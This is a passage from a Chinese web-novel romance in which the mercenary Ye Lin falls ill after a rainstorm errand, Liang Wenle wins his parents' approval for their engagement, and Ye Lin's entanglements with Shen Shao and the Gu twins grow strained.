叶临看到他身上的红疹,想到过敏严重会休克,连忙穿上衣服,准备出门:“我去帮你买过敏药和新的衣服和床单,你在家里呆着。” 梁文乐也想跟他出去,却被拦住。 叶临重重地叹气,无奈地看着这位大少爷:“算了吧。你的身体还虚弱,出去淋雨直接就没了,我可赔不起。老实呆着,我去就好了。” 梁文乐握紧手,忧心忡忡地看着他:“那你早点回来。” 雨势很大,砸在雨伞上,就能凹陷一大块,像是下铁球。 而且风是斜吹着,能够把雨水带到脸上,胸前,膝盖,根本挡不住雨。 叶临刚走几步就开始后悔,就不应该出门,让梁文乐痒死算了,还对化学材质过敏,真是娇气! 可是来都来了,还是把东西带回去吧。也不能真的让梁文乐过敏休克,那样他也完蛋。 凌晨四点,小县城大部分店铺都关门了。 叶临跑了四条街,才买到过敏药品,以及纯棉制的床单被套。 药店的员工看叶临眼下有黑眼圈,神情焦急,结账的时候忍不住问:“帅哥,大晚上的跑出来,是家里人生病了?” 叶临随口回应:“对,他特别娇气,还只能睡纯棉的床单,无语。” 员工笑起来:“听着是女朋友吧,那身体确实弱。” 叶临叹气:“他身体不弱,特殊时期而已。对了,多拿几个袋子防雨,我怕淋湿了。” 员工把药品递过去,还跟他道别:“你好贴心啊,祝你和你女朋友幸福!” 雨越下越大,雨珠拍打窗户发出声响,风吹得树木都歪斜。 梁文乐久久没看到叶临回来,在房间里走来走去,心焦如火。好几次都想出门去找人,但都打不通电话。 过了一个多小时,才传来开门声。 只见浑身淋湿的叶临站走进来,先把伞收好,再解开外套,从怀里拿出袋子递给他。 药品和床单被套是用四层塑料袋子包裹好,开口处系得很紧,没有透出一丝缝隙。 袋子还被他护在怀里,里面的东西没有被淋湿,拆开就可以用。 梁文乐拿到药,先吃了一颗,就跑过去帮叶临脱外衣:“你去了好久啊,我一个人在这里等,很不安心。” 叶临拿起浴巾朝着浴室走去:“这个点没有几家店在营业,我跑了四条街才买到的,当然回来得晚。你喝完药就坐在沙发上等着,待会儿我去铺床单被套。” 梁文乐才反应过来,原来买东西是需要看时间的。 而叶临为了他,顶着黑眼圈就出门,淋了很久的雨。 那他也要做点事情,不能老是靠叶临。 下定决心后,梁文乐打开包装袋,把床单被套拿出来铺。 床单就还好,他可以铺开。 被套就很难套了。 为此他还钻进被子里,结果莫名其妙被困在里面出不来。 甚至于,越挣扎被子困得越严实,快要喘不过气。 “叶临,叶临!” 叶临刚洗完热水澡出来,想去擦头发,听到这个声音,无奈走到卧室。 结果看见被子乱作一团,而梁文乐被困在里面,出不来。又让人生气,又好笑。 “唉,都说了,你老实呆着就行,非要套被子做什么?我估计你从出生到现在,都没套过被子吧。” “你怎么知道啊,都是别人换好的。” “额” 这需要很聪明才能知道嘛,用膝盖想想都能明白。 叶临懒得跟他多说,顺着被子纹路找到他的位置,翻转几下就把人从里面拽出来。 过敏药生效很快,脸上的红疹子已经消失不见,应该是好了的。 梁文乐被拽出来,赶紧站到窗边透气,抱怨着里面太闷了。 叶临没有回他,把被芯塞进被套里,对好位置,用力展开,拉上拉链。 整个流程下来,一气呵成,毫无阻滞感。 梁文乐扭过头看到这一幕,走过去感慨:“你套得好快啊。” 叶临身心疲倦,打了哈欠,直接躺进去休息:“睡吧,要死了。” 梁文乐没有再抱怨,关上灯在旁边躺下来,轻声感慨:“好吧,你有时候还是很厉害的。” 叶临闭着眼,敷衍地嗯嗯嗯,很快就进入到睡眠之中。 梁文乐想到旁边躺着叶临,忽然觉得这个小房间变成了安全屋,汹涌的爱意将这个屋子照得亮如白昼。 如果明天大雨把世界淹没,他们相互依偎,也能幸免。 梁文乐小心翼翼地牵住叶临的手,在心里默默地祈愿:永远都要在一起,再也不分开。 大雨到了中午才停止,街道多积水。水位已经到了成人的膝盖,大树倒塌,落叶满地。学校暂时停课,孩子欢呼。 梁文乐做了个美梦,醒来后感觉怀里的人在发烫,抬手去摸额头,才惊觉叶临发了高烧。 他下意识地想打电话叫医生上门,可是很快就反应过来已经离开梁家了,只好按照上网搜索治疗高烧病人的方案。 大都是借助冰袋降温,外加退烧药。 梁文乐觉得自己也可以做到,于是拿着叶临昨天给他的钱,出门去买药品和冰袋。 回来后,他按照说明书治疗。 然而过了一个下午,叶临还是没有退烧,反而越烧越厉害。 整个人像是烧红的碳,昏迷不醒。 无论怎么喊都不会醒来,像是一具正在焚烧的尸体。 虽然很少有人会因为发烧死亡,但他就是害怕叶临会出事。 梁文乐没办法,只好把叶临送去医院输液。 医生看到叶临的情况,忍不住感慨:“还好你送得及时,再晚一点就要烧坏脑子了。” 梁文乐难以理解,跟医生解释,自己用了冰袋还有药物。 医生听完他的描述,语重心长道:“以后你家里人生病,你还是及时送医院吧,你这样照顾,人会病死的。” 梁文乐答应医生,垂头丧气地在叶临病床旁坐下来。 他突然发现,自己根本不具备爱人的能力。 如果他发高烧,在这种情况下,叶临肯定能够把他照顾好,而不是加重病情。 只要他说一句不想呆在梁家,叶临就能骑着摩托把他带到这个县城,满足他的所有要求。 昨夜的雨很大,有些路人都被树砸倒受伤。可叶临还是跑出去帮他买药,帮他换好纯棉的床单。 没有他的话,叶临根本不会吃这么多苦的。 在外人眼里,名义上是叶临需要他的钱和地位,实际上是他需要叶临的爱。 呆在叶临身边,总能感觉到毫无保留的偏爱,细致入微的关心。 如果没有遇到叶临的话,他怎么可能知道被爱是什么感觉。 梁文乐轻轻地握住叶临没输液的手,低声恳求:“你要早点好起来。” 第二天叶临总算醒过来,但还很虚弱,喝过粥后就躺下去休息。 第三天早上,梁文乐想帮叶临买他最喜欢的叉烧,却在回来的途中遇到梁父梁母。 黑衣保镖围住他所有的去路,他只能被迫面对眼前的父母。 梁母看见梁文乐的神色憔悴,心疼得厉害:“宝贝,你怎么瘦了,吃了很多苦吧。” 梁父板着脸,毫不留情地教训:“让你偷跑出来,受罪了吧,快跟我们回去。” 梁文乐看到母亲,立即挺直了背,大声要求:“那我回去,你们就得同意我跟叶临订婚。” 梁父被气得心口疼,剧烈咳嗽起来,指着他的眉心骂:“你这个蠢货在想什么,跟叶临这种见钱眼开的小人订婚? 你知不知道,我把你关起来那几天。他居然跟管家伸手要钱,说是给钱就能离开你,这种人怎么会爱你!” 梁母也帮着劝说:“就是啊,宝贝,我们家不计较家世,但也要真心爱你的。他只喜欢钱,怎么可能订婚?” 梁文乐脑子里只有跟叶临甜蜜的时光,哪里听得进去:“你骗人,就知道胡编乱造污蔑叶临,管家是你的人,当然会帮着你! 叶临最爱我了,他心里只有我!我遇到他才知道,原来被爱是这种滋味。 他给我的爱,比任何人都要多,就连你们都比不上他!” 梁父快气晕过去,他感觉儿子像是着魔:“你觉得叶临比爸妈还要爱你!” 梁文乐想到病重的叶临,有了跟世界对抗的勇气,斩金截铁地回答:“对,叶临比任何人都爱我!他心里只有我,不像你,就知道钱,利益,他最纯粹了!” 梁父憋不住,想上去把这个儿子揍清醒,又被妻子拦住,只能大声质问:“他怎么爱你,说几句甜蜜话,就把你哄得晕头转向,忘记爸妈了?” 梁文乐想到叶临还在医院里躺着,心疼得眼眶泛红,眼泪随之落下:“他会哄我睡觉,会夸我,会照顾我的自尊,会记得我喜恶,会不厌其烦听我唠叨。 会在我痛苦的时候,骑车带我去兜风,享受自由;会在大雨天去买药,自己生病,也要照顾我。他让我知道,美好幸福的爱情是什么模样。” 梁父的脸已经变成猪肝色:“就这些毫无成本的行为,什么人都能做!你就沦陷了,爱得要死了,你脑子被猪吃了?” 梁文乐的肩膀发颤,红着眼去瞪比他矮的父亲:“我最讨厌你这副商人嘴脸,爱情怎么能够被成本这个词玷污。 不是什么人做,我都会喜欢的,只有叶临,只有他才能让我感感觉到爱!” 梁父再也忍不住,挣开束缚,冲出去给了一巴掌。 “啪——” “我怎么生出你这种蠢货!” 梁文乐半张脸颊都肿起来,这是他第一次挨梁父的打,耳鸣了片刻。 他没有反抗,只是冷眼看向梁父,大声嘲讽:“你配说这句话吗?我又不是你生的,我是妈妈十月怀胎生下来的! 如果你忍受痛苦,辛苦怀孕十个月,把我生出来,再用这句话骂我,那我毫无怨言! 你又不吃苦,还要享受成果,哪有这种好事!” 梁父的脸色骤变,指着他的眉心,气得说不出话。 梁母赶紧走上前来,挡在他们之前,轻声劝儿子:“好了好了,宝贝,爸爸也是担心你,不要这样说伤人的话。爱不是用来比较的,父母的爱,伴侣的爱都重要,关键是真心。” 梁文乐看到母亲,立即靠着她的肩膀,嚎啕大哭起来:“妈咪,我只是想跟喜欢的人订婚,又不是犯罪了,他凭什么这样骂我。” 梁母轻轻地拍着他的背,柔声安抚:“宝贝不哭不哭,你爸爸只是担心你被骗,不是有意的。” 梁父实在是不想再看到这个蠢儿子,侧过身去试图冷静。他感觉眼前的景象在天旋地转,整个人都快要站不稳。 梁文乐吸了吸鼻子,软着声音撒娇:“妈咪,你们都说叶临图我的钱,那就算他图我的钱好了。我有钱,他图钱。他就永远不会离开我,我高兴还来不及呢。” 梁父按着太阳穴,忍不住出声:“你听听你说的什么话,这是正常人能说出来的吗?” 梁文乐抬眼去看他:“我说的就是实话,叶临又不是要我的命,只是钱而已! 钱这种东西很稀缺吗?我有钱,他缺钱,我们天生一对,就应该在一起!” 梁父扭过脸看他,无情打断:“钱是我赚的,又不是你的!” 梁文乐只噎了片刻,就立即找到回击的方向:“那我不要你的钱,你也别要我这个儿子,我们两清!” 梁父感觉心脏抽疼,又要犯病了。 梁母连忙出声制止:“别吵别吵。” 梁文乐看向母亲,委屈巴巴地问:“那妈咪也不要我,我就去做乞丐,在街头流浪,饿死算了。” 梁母光是想想儿子这几天住在县城里就心疼,哪里舍得让他流浪,连忙安慰:“怎么会,宝贝不会去做乞丐的。 爸爸妈妈的钱都是你的,你爸爸在说气话。叶临在哪里,我有话对他说。” 梁文乐看向旁边的医院:“在医院,还没醒呢。妈咪,你改天再跟他说话吧。他昨天为了我淋雨一夜,差点就病死了。” 知子莫若母,强行阻拦只会激起反抗心理。 梁母最心疼这个孩子,心态开明,叹息道:“宝贝啊,你跟叶临订婚后,可能会后悔,到时候就知道爸妈的顾虑了。但现在你既然认定他了,就那你们订婚吧。” 梁文乐听到母亲应允,高兴地叫起来,立即擦干眼泪:“那我等叶临病好,就回去举办订婚宴。” 说完他就兴致冲冲地跑进医院里,要告诉他的恋人,他们可以订婚了。 梁父听到妻子的回复,有一瞬间还以为自己听错了,可是看到眼神就确认,只好问:“叶临这个人心术不正,婚后肯定不会安分老实。” 梁母长叹一口气,走到丈夫旁边,拍拍他的手低声劝道:“算了,儿子喜欢就好。这棵树种下后,以后无论是苦是甜,他都得尝。 作为父母,我们不能陪儿子从出生到死亡,也不能替他尝果,就这样吧。” 梁父原本烦躁的心情平静下来,他明白妻子的意思。 梁文乐的人生过得太顺了,确实应该吃点苦头,才能有所成长。 以前他不舍得儿子吃苦,但是今天过后,他心有怨念,觉得逆子就应该栽个大跟头,最好可怜兮兮,无助地向父母求安慰才好。 暴雨过后难得天晴,地面的积水倒影蓝天白,树梢的绿叶更新,喷水池出现小小的一轮彩虹。 梁文乐注意到小彩虹,下意识地认为:这是上天在祝福他和叶临,以后他们继续会幸福下去。 叶临已经醒过来,饿得肚子难受,只好坐起来,刚要下床就看见梁文乐进来。 梁文乐赶紧跑过去扶住他:“你病还没好,下床做什么啊,乖乖地躺着休息。” 叶临无奈解释:“我肚子饿。” 梁文乐才想起来,连忙去找来食物,还要亲手喂他吃。 其实他喂食的手法不对,总是拿捏不住时机,但叶临还是顺着他。 叶临注意到他的眼眶泛红,应该是哭过了,而且很伤心。 难道是因为他生病住院哭的? 话说,男孩子掉眼泪好奇怪,也就梁文乐这种被娇生惯养的大少爷才会做出这种举动。 算了,还是安慰吧,毕竟名义上是男友。 “文乐,你怎么哭了?” “我哪有哭?” “你眼睛都红了,肯定是大哭一场,又怎么了?” “就是担心你啊,谁让你重病三天。” “那你别担心,我今天就能出院。” 叶临刚说完,就被吻住,眼睛随之瞪大。 他注意到梁文乐身上有泪水的湿意,以及窗外逐渐变黑的天色。 梁文乐松开后,盯着他的眼睛看,得意地宣告:“我跟你说,爸妈答应我们订婚了,回去就能筹备!” 忽然响起一到惊雷,犹如天空破碎,整个医院都随之震颤,像是天灾来临。 叶临吓得浑身一颤,好半天才反应过来,连忙问:“你,你说什么?” “你好过分,都没认真听我说话。我说,我们可以订婚了!” “啊?” 40-50 第40章 第40章他看到叶临和别人的照片 叶临无法想象自己睡着的时候发生了多少事情,才会致使本来不同意婚事的梁父梁母答应。 大概是梁文乐又哭又闹,父母心疼,只好顺着他。 备受宠爱的小孩就是这样,用眼泪就可以获得一切。 跟梁文乐订婚的话,就代表他们的关系就要更进一步,以后他会获得梁文乐一半的财产,拥有梁家的人脉。 哪怕半路不合,离婚后应该也能分到很大一笔钱,左右都不亏,能答应。 叶临来到这个世界后,为了挣钱做出太多牺牲,现在无法抛弃沉默成本,只能继续前进。 “那真是太好了,文乐,我们可以订婚了。” “是吧,你病好我们就回去,我要让所有人知道,我们会订婚。” “嗯嗯。” “对了,叶家那边我要去请人,你是希望他们全来,还是只请几个?” “额,随便吧。你知道,我对叶家没什么太多情感,完全不在意。” “好吧,那我看着来。” 叶临想到自己原本的父母,心里没多大起伏波动。 他出生在农村,从小就被丢给爷爷养,爸妈常年外出打工。说是养,其实就是给口饭吃,爷爷基本上不会管他,留守儿童而已。 而且他从小学到初中都是住宿生,周一到周五在学校,只有周末才能回到家里,就是跟同伴们三三两两地在外面鬼混。 过年的时候,才能见到父母。 对于他来说,爸妈就是个过年放鞭炮烟花,才会回来的陌生人。 起初他对爸妈没有多大情感,直到小学毕业,听说爸妈在外地给他生了个弟弟,一直带在身边养,还在外地上的小学。 他心里就滋生出嫉妒和恨意,嫉妒弟弟从出生就可以获得父母的爱意;憎恶父母,既然可以把弟弟带在身边精心教养,为什么要把他丢在老家农村,当留守儿童呢。 后来,听说弟弟考上名校,还有了家境很好的女朋友,是全村的希望。他就经常找借口,不回老家过年。 穿书后,他从来不会生出回去的想法,只觉得呆在这里挺好的,至少有钱,过得舒服。 反正在原本的世界里,没有人会在意他,回去毫无意义。 叶临每每想到从前的经历,就会觉得他遇到的这些富二代顺眼,连带着多了耐心。 他会陪着梁文乐挑选三天的订婚场地,再去试五天的服装,做各种各样的事情。 这场订婚宴无疑是梁文乐的人生大事,他亲自监督,力求每一个环节都要做到完美,忙得脚不沾地。 之前的别墅没有卖掉,又还给梁文乐,让他们继续居住。 趁着梁文乐忙着飞去国外选订花卉,叶临有时间溜去沈邵的公寓偷闲。 下午的阳光和煦,照在身上暖洋洋的,很舒服。叶临瘫着打哈欠,没有玩手机,单纯地享受美好时光。 沈邵端着甜点出厨房里出来,看到沐浴在阳光中的叶临,莫名想到烤箱里的蜂蜜小面包,松松软软的,吃到嘴里醇厚甘甜。 “慕斯蛋糕。” “这个好!” 叶临听到吃的,立即坐起来,拿起小杯子,把里面的蛋糕一口闷了,回味地舔嘴唇。 沈邵看到他喜欢吃,心里满足,但想到他和梁文乐的婚事,心里又空落落的。 “你真的要跟梁文乐订婚?” “对啊,他们家同意了,白*给的钱和资源,干脆就订呗。到时候,我就利用梁家的资源发展梵星。” “梵星的盈利稳定了,每个月都有三四百万,不需要梁家的资源。” “哎呀,谁会嫌钱多。你看你每天朝六晚九的上班,多辛苦。以后有了梁家这棵大树,就能轻轻松松。” “自从加入梵星后,我从没觉得苦。” 叶临吃光桌上的小蛋糕,抬眼去看他,由衷地佩服:“哇,那你就是网上说的高精力人群,每天做很多事情都不会累。即可以上班,又可以下班做饭。” 沈劭有种对牛弹琴的无力感,只好直说:“听说,订婚后,梁文乐要休学一年,跟你度蜜月?” 叶临点点头:“对啊,出去玩玩呗。我跟你说,他本来想去三年,但是被爸妈驳回,才变成一年。” 去一年,那就是一年见不到叶临,一年里公寓都是空的。 以后真正地结婚,叶临来这里的次数只会更少。 为什么不能找个大方的原配呢,偏要找梁文乐这种占有欲强,小心眼的? 如果叶临能够找到一个相敬如宾,互相不干涉对方的丈夫,那才是最好的。 沈邵心中的不满越发地强烈:“你有想过离开的这一年里,梵星会怎么样吗?” 叶临无所谓地摆摆手:“靠你啊,本来我就是个投资人,只负责给钱就好,我离开一年,能出什么事?” 梵星也由最初结构不完整的小公司,变成一个高效成熟的公司,短期内不需要太过费神。 他说的没错,哪怕投资人离开一年,公司也不会出现什么大的事故,能够正常运转。 可是沈邵出于私心,还是要夸大公司遇到的困难:“梵星很小,现在好不容易有了起色。有些事情需要你出面,才能解决,你走了很难办。” 叶临搞不懂公司的运营情况,但他信服沈邵的能力:“那用钱解决吧,不能用钱解决的,你堆积到一年后,我回来再帮你。” 沈邵彻底绷不住了,俯身将他圈在双臂之间,沉声道:“你听不懂吗,梵星不能离开你一年?” 叶临不解:“为什么啊?那你找个人代我出面,反正你人脉广,总能找到厉害的人才。” 真的好想告诉他,“不是梵星离不开你,是我离不开你!” 但是沈邵又说不出口,他跟叶临本来就只是金钱关系,再掺杂复杂的感情。 说出这种话,叶临只会嘲笑他,自取其辱。 沈邵直起身,故作淡定:“你去度蜜月吧,我自己想办法。” 叶临在梁文乐面前察言观色久了,很快就能读懂沈邵的情绪,应该是生气不满。 好歹是梵星的一员得力干将,还是说点好话吧。毕竟是他的公司,怎么可能不管。 叶临站起来抓住沈邵的手:“好了好了,到时候我想办法提前两个月回来。” 沈邵沉默不语。 叶临晃晃他的手,好声好气地劝:“那三个月,真的不能再提前了,我感觉梁文乐会气死。” 沈邵转过身来看他,忍不住将他抱起来吻,朝着房间走去。 “你跟梁文乐非订婚不可吗?” “对啊,梁文乐为了这件事对抗爸妈,我要是不同意,他就得对付我了。” “订婚的请柬呢,我也要一份。” “你们沈家会给你的,都有都有。” 沈邵轻轻地咬嘴唇,脸色阴沉:“我要你亲手给我,不要别人给的。” 叶临感觉到又痒又疼,被磨得没办法,只好答应:“好好好,我给你。什么毛病啊,非要我给?” 沈邵恨透了叶临这副没心没肺的模样,明明他心里有许多酸楚,叶临却视而不见。 “啊!”叶临刚想骂,就被堵住嘴唇,只能溢出断断续续的呜咽声。 往常沈邵都会温柔细致地对待,可是今天却像是突然犯病,疯狂的,霸道的,蛮横的,乃至于吞噬。 感觉像一只发狠的蟒蛇,用庞大的蛇身将猎物卷起来,张开嘴慢慢地吞,要吃到胃里,跟自己完全融为一体才会满足。 【当前金钱增速每小时20万】 好快,平时沈邵的金钱增速不会这么快,怎么回事? 叶临正在疑惑,紧接着就被咬了一下,疼得低吟。 沈邵的眼神阴鸷,像是在注视着自己的领地,咬着下唇质问:“不许走神!” 叶临刚想骂,语句全部都碎了,稀稀落落地散开。 【饥饿值下降到60%】 感慨快死了,这个混蛋沈邵! 【饥饿值下降到50%】 好恐怖,只是短短的几分钟就下降了50%? 这段时间,梁文乐忙于筹备订婚的事情,都没帮他消解饥饿值,基本上都是靠沈邵。 正常情况下,半个小时才会下降10%,没想到居然这么快。 叶临已经溺进沼泽里,浑身都湿。透。 哪里都是粘稠的,越挣扎陷得越深,甚至于被沼泽淹没,彻底失去意识。 他能够感觉到炽热的视线,像是火焰在燃烧,吞噬每一处,不留余地。 “沈,沈邵你这个混蛋!” 叶临嘴里骂着,挥手就去打。 “啪——” 巴掌虽然打在脸上,但是沈邵并没有因此退却,反而进攻得更加迅猛,完全不给活路。 真像是有病似的,好像春季的动物,不要命地繁殖。 叶临骂了好几句,都没有用,反而越来越激烈。 紧接着,他就被逼得哭起来,眼泪一颗一颗地掉落。 沈邵摸着泛红的脸颊,湿润的眼睛:“你会这样哭给梁文乐看吗?” 叶临哭着骂起来:“神经病!” 沈邵用力将他抱住,恨不得镶嵌进身体里,低声念道:“不会的,梁文乐根本给不了你想要的。” 叶临感觉自己快要窒息了,旁边还有个癫公在发疯。 沈邵的声音像是在念咒,类似于远古时期巫师在低喃:“叶临,梵星是我们两个人的心血。为了它,跟梁文乐断了吧,你可以去找更好的人。” 叶临尝试认真思考:“这两个有什么关系吗,我跟梁文乐又不影响梵星,而且还能找谁啊,只有梁文乐最好拿钱了。” 沈邵埋头进他的颈窝里,放弃似胡乱发言:“谁都比梁文乐好,你跟他订婚后,肯定很难过来了。” 叶临觉得太黏了,用力推开他:“有什么难的,你以为梁文乐管得着我吗?我想去哪里就去哪里,每天都可以来你这里蹭饭。” 沈邵心中已经酝酿了别的计划,长叹一口气:“梁文乐不会一直愚蠢的…………” 接下来他们没有再谈这个话题,专心地处理彼此的需求。 这一整天,沈邵都没有进入书房工作,只是抱着叶临窝在卧室,像是蜗牛回到自己的壳里,躲避外界的伤害和刺激。 叶临感觉沈邵今天不太对劲,像是之前某段时间的顾嘉致,也是这样粘着他,好像很没安全感。 记得那是顾嘉致第一次要去很远地地方出差。 前一天顾嘉致非要他从梁文乐的别墅里回来,亲密过后,就抱着他不肯撒手。 明明是晚上的飞机,顾嘉致却不去准备。 不断地说起他们之间的琐事,或是打游戏团战的时候输了一波,或是午饭不好吃。 来来回回地说,反反复复,完全不嫌腻。 当时他就疯狂地推顾嘉致,催促他:“晚上十点的飞机,快去准备了。而且我八点就得回去,不然梁文乐会起疑的。” 顾嘉致不肯撒手,紧紧地将他抱住,低头嗅耳侧:“你说,我的飞机要是出事,你会为我难受吗?” 叶临立即拍他的嘴,神情着急:“呸呸呸!不要胡说八道,说点好的,你肯定可以平安落地的。” 顾嘉致笑起来,拿起他的手来吻:“那如果我和梁文乐坐不同的飞机,非得有一个飞机出事,你会选择哪一个?” 叶临感觉他举的例子太过地狱了,为难地皱眉:“飞机上好多人呢,又不止你们两个,这不能选吧。” 顾嘉致挠挠他心脏的位置,故意调侃:“看来你只是小坏蛋,不是大恶人,居然还知道担心普通人的安全。” 叶临不甘示弱地挠回去:“我那里坏了,我可是大好人!” 闹了一会儿,两个人都倒下来大笑。 在小区门口分别,他祝顾嘉致平安,而顾嘉致叮嘱他不许让梁文乐亲。 事实上这是废话,当然会被梁文乐亲了,不知道顾嘉致为什么每次都要说。 他随口应下,才走几步,就感觉到有人从后面抱住他。 “叶临,其实亲不重要,重要的是,你心里不能有梁文乐,只能有我,知道吗?” “知道了,快走吧。” 当时他不以为然,但是现在回想起来:那天晚上,顾嘉致心里应该很难受吧,就像现在的沈邵一样。 可能是因为惦记顾嘉致,也有可能是看在沈邵精心打理梵星的份上。 叶临没有推开沈邵,任由他抱了一夜,弥补了这份迟来的纵容。 第二天早上,沈邵才舍得松开叶临,做完饭就去公司上班。 叶临是中午才醒过来,吃过沈邵提前准备的饭,拿着手机回梁文乐的消息。 梁文乐去到一处花田,给他发照片,要求他选出心仪的花朵,要放在订婚宴上做装饰。 花朵有几十种,还有千奇百怪的颜色。 叶临懒得仔细挑选,随手点了几朵,夸奖几句就算完成任务。 梁文乐又问他在哪里,要视频查岗。 叶临吓得连忙下楼,跑到附近的商业街,才敢开视频。 还是那条熟悉的商业街,白天的人要少很多,有些店铺都没开门。 “你接电话好慢啊!” “我在外面,网络不太好。” “这里好眼熟,感觉在哪里见过。” “哎呀,商业街都长得一样了。” “算了,我寄过去几件礼服,明天到,你记得试穿,要录视频给我检查哦。” “好嘞文乐,我肯定会试穿录视频的。” “我和你说” 叶临被迫听梁文乐吐槽,百无聊赖地在商业街乱走。 两个小时后,不知不觉走到一处篮球场,梁文乐终于挂断电话。 篮球场上多是十几岁的中学生在打篮球,旁边还会有人在加油,充斥着年轻的活力气息。 叶临隔着护网往里看,想到自己上初中的时候也喜欢打篮球,后面还代表班级参加校园运动会,拿到了第二名。 他看着某个男生,总感觉看到了自己的影子,运球流畅,投篮快准狠,应该是前锋。 有点想进去玩两把。 叶临心里刚冒出这个念头,朝着篮球场入口走去。 可是转身的瞬间,总感觉有人在盯着自己。 他扭头去看,没有发现人影,就觉得奇怪。 难道是错觉? 在这种人群嘈杂的环境,就有可能认错,但是换成人少的地方,就能够确定。 叶临朝人烟稀少的巷子走去,时不时透过路边商店的玻璃窗,观察身后的情况。 在很远的地方,看到了某个人影,非常模糊,无法确定是谁。 但他确信,应该是被人跟踪了。 以前跟人约架的时候,也被跟踪过,对这种情况比较熟悉,所以知道反制的方法。 需要在地图上找到一个转角处比较多的地方,附近还得有高墙遮蔽视线,这样就能够提前蹲到跟踪的人。 然而,当他找到这个地方的时候,跟踪的人却消失了,好像知道自己要反制,才会提前离开。 真奇怪,谁能会跟踪他? 叶临想不通,打电话询问沈邵,公司最近有没有惹到什么人。 沈邵告诉他,梵星刚起步,根本不可能惹到仇家。 这种事情,电话说不清楚,只能晚上在公寓里问了。 叶临挂断电话,顺着小路去医院。 其实也没啥事,只是习惯性要去那里转转,看看顾嘉致的伤势是否好转。 但是走到顾嘉致的病房门口,又迈不开脚。 顾嘉致嘲讽他的话还在耳边回响,以及鄙夷的眼神。 虽然他因为以前的经历很苦,练就了强大的心脏,不会轻易受伤,但嘲讽的人是顾嘉致,还是会在意。 纠结再三,他只是透过窗户看了病床上的顾嘉致一眼,确认他休息,就没有进房间。 紧接着,他顺道进了顾柘的房间。 顾柘的脸颊还缠着绷带,但右手臂的绷带已经拆下来,伤口痊愈,已经好得差不多了。 “啧,好挺快的啊。”叶临坐下来,戳戳右手臂,表情冷酷。 “你最近要跟梁文乐举行订婚宴,还来这里做什么?”顾柘早就习惯他的恶整,并不在意。 “找点乐子,看你过得不好,我就高兴。”叶临发现手臂已经长出了新肉,摸起来比以前还要嫩。 “那你可要失望了。”顾柘注意到他的神情低落,像是在惦记过去:“对了,顾嘉致听到你要订婚的消息,可没多大反应。” 叶临哽住片刻,才回驳:“我需要他有反应吗?” 顾柘脸上的笑意更深,眼神意味深长:“那就好了,我建议你们以后都不要见面。” 叶临猛地捶了床沿,盯着顾柘的眼睛警告:“顾柘,我和你弟弟的事情,与你无关吧。 不要以为上次你帮我遮掩,我就不捶你!惹急了,我就弄死你。” 顾柘笑出声,丝毫不畏惧他的威胁。 叶临伸出手去戳他的眉心:“我看你左手还没好,既然你愿意帮我遮掩,我就帮你掰残疾。” 顾柘没说话,只是静静地注视着他,像是在看海洋深处张牙舞爪的章鱼。 二人僵持两分钟,还是以叶临站起来告终。 他可以毫无负担地朝着健康的顾柘挥拳,但做不出趁着人生病致残的事情。 “祝你订婚快乐!”顾柘看着他的背影,突然出声。 “神经病!”叶临回骂一句,用力摔门。 来到走廊上,又可以透过玻璃窗看到对面的顾嘉致。 顾嘉致的两只手臂都拆了绷带,现在可以拿到床边的东西,此时正在玩一个简单的模型。 看来他伤的比顾柘轻,那应该会先出院。 也是顾柘自己种的恶果,活该! 叶临骂完,径直朝着前面走去。 顾嘉致透过大开的门看见外面的叶临,发现对方没有进来,心里疑惑不解,手里的模型都放下。 同时,忍不住叫出声:“你为什么不进来!” 叶临停下来,斜靠着门看他:“我为什么要进来,听你高高在上的嘲讽?” 顾嘉致捏紧模型,看向对面的病房:“那你来医院,不是看我,是看顾柘喽!” 叶临心里不痛快,偏要故意气他:“对,我发现顾柘比你有意思,所以每天都去看他,懒得看你。” 顾嘉致明明记得,刚开始叶临每天都会来看他,偶尔才会去顾柘那边,结果现在却反着来。 叶临发现勾搭不上他,就跑去勾搭顾柘那个蠢货,果然阴险狡诈! 顾嘉致恨他三心二意,怨他不来看自己:“哦,那你不怕我跟梁文乐告状,说你跟顾柘有私情?” 叶临没想到这家伙会说出这种话,感觉像个智障:“我跟顾柘有私情? 好,那你去跟梁文乐告状啊,到时候我就说是你,反正你和顾柘长得一样!” 顾嘉致被他的卑鄙无耻所震惊,不感慨只嘲讽:“你是真无耻,怪不得能把梁文乐迷得神魂颠倒,绝食都要跟你订婚!” 最亲近之人往往知道所有弱点,能精准攻击,说出的话最为伤人。 叶临想到顾嘉致曾经的痛苦,大声嘲笑:“对啊,我就是很有手段,以后还可以分梁家一半的财产。 不像你,没有家人的宠爱,分不到多少资源,只能沦为顾柘的陪衬。以后顾家90%的资产都会分给顾柘,没有你的份,可怜虫!” 这段话像是巨大的铁锤砸下来,瞬间血肉模糊,难以存活,体温都失去。 是的,他就是得不到父母的爱,更是得不到顾家的资源。顾柘从小就被当成接班人来培养,而他完全地散养。 顾嘉致终于不能用轻蔑的态度看待叶临,而是崩溃破防后的歇斯底里。 他红着眼眶怒吼:“滚出去,我再也不想看到你!” 叶临听到他凶狠的语气,猛地踹门:“你以为我乐意来看你吗!有病,还废物!” 骂完他就快速跑出医院,到了空旷的广场才停下来,舒缓心中的怒气。 广场上有音乐喷泉,水流随着音乐此起彼伏,很多恋人都在牵手拍照,对着镜头比心。 角落里,也能看到一对男同,正在嬉戏打闹。 飞溅的水滴落在他们身上,反射夕阳橘黄的光,温暖柔和。 前面的男人在跑,后面的男人在打。到了某处,男人立即停下来,回身抱起男朋友亲。 看到这里,叶临才惊觉自己看完了全程。 以前要是看到男同情侣,他只会嫌弃地走开,暗骂恶心,一眼都不会多看,可是现在居然看完了。 而且某个瞬间,他会幻视从前在沈邵的公寓楼下,他在前面催促,顾嘉致冲上来抱住他亲。 也是这样阳光柔和的傍晚,天边还有彩色的晚霞。 真是有病,想那种事情做什么? 叶临暗骂自己犯病,又把顾嘉致骂了几百遍。 可是骂完,脑海里又浮现出顾嘉致泛红的眼眶。 顾嘉致受伤了,才会露出那样悲愤交加的神情。 或许,不应该用这种话去刺激顾嘉致。 可是他又气不过,当然会下意识地采用杀伤力最强的话。 是顾嘉致先嘲讽他,他才回击的。 所以,为什么他和顾嘉致不能向从前一样嬉戏打闹,每天高高兴兴的,偶尔拌嘴打架? 叶临只要回想起过去,就会感觉莫名的酸涩,像是吃了不成熟的青柿子。 他搞不懂自己的想法,只能怪罪顾嘉致。 怪顾嘉致失忆后变了副面孔,不像从前那样对他好,纵容他。 怀揣着这样的念头,他犹如一缕幽魂飘回顾嘉致的公寓。 这里已经很久没有住人了,也没有定期请人来打理,地板堆积着薄薄的灰尘。 